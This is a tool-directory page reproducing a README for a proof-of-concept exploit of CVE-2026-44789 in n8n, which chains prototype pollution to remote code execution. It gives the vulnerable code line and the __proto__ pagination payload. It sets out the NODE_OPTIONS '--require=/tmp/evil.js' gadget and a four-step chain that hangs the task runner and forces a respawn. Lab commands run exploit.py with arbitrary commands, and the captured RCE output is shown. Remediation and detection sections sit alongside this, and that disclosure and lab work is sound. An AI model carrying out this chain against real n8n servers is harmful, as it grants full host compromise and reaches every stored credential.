Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44789-n8n-PrototypePollution-RCE — CVE-2026-44789 — n8n <1.123.43 HTTP Request pagination prototype pollution to RCE (NODE_OPTIONS runner-spawn gadget). Lab + automated PoC, verified e2e. | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-44789-n8n-prototypepollution-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHub
biitts/cve-2026-44789-n8n-prototypepollution-rce

CVE-2026-44789-n8n-PrototypePollution-RCE

CVE-2026-44789 — n8n <1.123.43 HTTP Request pagination prototype pollution to RCE (NODE_OPTIONS runner-spawn gadget). Lab + automated PoC, verified e2e.

View Repository
22 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-44789 — n8n HTTP Request Node Pagination Prototype Pollution → RCE

An authenticated n8n < 1.123.43 workflow creator pollutes Object.prototype in the n8n server process through the HTTP Request node's pagination settings, then escalates to remote code execution by abusing how n8n spawns its task runner — leaking a polluted NODE_OPTIONS into a child node process and bypassing the Code-node sandbox.

CVECVE-2026-44789
AdvisoryGHSA-c8xv-5998-g76h
Affected< 1.123.43, 2.0.0-rc.0 … < 2.20.7, 2.21.0 … < 2.22.1
Fixed1.123.43 / 2.20.7 / 2.22.1
ClassCWE-1321 (Prototype Pollution) → CWE-94 (RCE)
CVSS9.4 (CVSS 4.0) / Critical
AuthAuthenticated (workflow create/modify permission)
StatusCONFIRMED — full chain reproduced end-to-end against n8nio/n8n:1.123.42

The public advisory states only that the pollution "combined with other techniques could lead to RCE" — it does not disclose a gadget. This repo documents and automates a concrete, verified prototype-pollution→RCE chain.


1. The pollution primitive

packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts, pagination mode updateAParameterInEachRequest:

root@kitploit:~
paginationData.request[parameter.type]![parameterName] = parameterValue;

parameter.type, parameterName and parameterValue all come from the workflow JSON (attacker-controlled). With parameter.type = "__proto__", paginationData.request["__proto__"] resolves to Object.prototype, so the assignment writes Object.prototype[parameterName] = parameterValue — a global prototype pollution in the n8n server process.

The fix uses Object.create(null) for paginationData.request, so ["__proto__"] is an ordinary (null-proto) key instead of the prototype.

2. The RCE gadget

packages/cli/src/task-runners/task-runner-process-js.ts spawns the JS task runner:

root@kitploit:~
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });

Node's normalizeSpawnArguments builds the child environment with for (const key in env), which enumerates inherited enumerable properties. Polluting Object.prototype.NODE_OPTIONS = "--require=/path/evil.js" therefore leaks into the spawned runner's environment. The child is node, which honours NODE_OPTIONS, so it --requires the attacker's file at startup → code execution outside the Code-node sandbox, as the n8n service user.

The runner is launched at startup, but its lifecycle re-spawns it whenever the process exits (onProcessExit → start()). The attacker forces a respawn after polluting by hanging the runner with a Code node (task-timeout / OOM kills it).

3. End-to-end chain (what exploit.py does)

root@kitploit:~
1. write /tmp/evil.js                  via Set → Convert to File → Read/Write Files nodes
2. hang the task runner                via a Code node ( while(true){} )   [BEFORE polluting]
3. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node ( type="__proto__" )
4. the hung runner times out → main process respawns 'node' → inherits NODE_OPTIONS
   → require('/tmp/evil.js') → RCE

Ordering matters: the pollution makes NODE_OPTIONS an enumerable own-less key on Object.prototype, which n8n's TypeORM layer trips over (for…in over entities), breaking workflow persistence. So the runner must already be hung before the pollution lands; the respawn then picks up the polluted environment.

4. Reproduce

Configuration scope (read first). The prototype-pollution primitive fires on any affected version with no configuration changes. The RCE gadget needs the task runner, which is reached differently per branch:

  • n8n 2.x affected (2.0.0–2.20.6, 2.21.0–2.22.0): task runners are default/mandatory (N8N_RUNNERS_ENABLED is deprecated → SAFE_TO_REMOVE), so the full RCE chain is default configuration.
  • n8n 1.123.x affected (this lab image): task runners default to off, so the lab sets N8N_RUNNERS_ENABLED=true to mirror the 2.x default. N8N_RUNNERS_TASK_TIMEOUT is lowered only to make the hung-runner respawn fire faster — it is not required for the bug.
root@kitploit:~
docker compose -f lab/docker-compose.yml up -d        # n8nio/n8n:1.123.42, runners enabled to mirror 2.x

python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"

# command output appears on the n8n host:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
#   RCE uid=1000(node) gid=1000(node) groups=1000(node)
#   <hostname>

exploit.py uses only the Python standard library and drives the n8n REST API end-to-end (owner setup/login → deploy workflows → fire the chain).

Observed:

root@kitploit:~
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)

uid=1000(node) is the runner's service account and the output is live id/uname state — genuine execution, not input echo.

5. Impact

Any authenticated user who can create or modify a workflow gains OS command execution on the n8n host, escaping the Code-node sandbox — full compromise of the automation server and every credential/system it can reach.

6. Remediation

  • Upgrade to n8n ≥ 1.123.43 / 2.20.7 / 2.22.1 (the pagination object is built with Object.create(null), killing the __proto__ write).
  • Defense in depth: restrict workflow create/modify to trusted users; the runner is already hardened with --disable-proto=delete / --disallow-code-generation-from-strings, but those protect the runner, not the main process where the pollution lands.

7. Detection

Flag workflows whose HTTP Request pagination parameters use type values of __proto__ / constructor / prototype, and NODE_OPTIONS appearing as an entity property error in n8n/TypeORM logs.

See ANALYSIS.md for the primitive, the Node for…in env behaviour, the runner lifecycle, and the patch.


  • Author: Caio Fabrício — github.com/BiiTts
  • Vulnerability credit belongs to the original reporter / vendor advisory; the pollution→RCE gadget chain here is independent research. For authorized security testing only.
Download Tool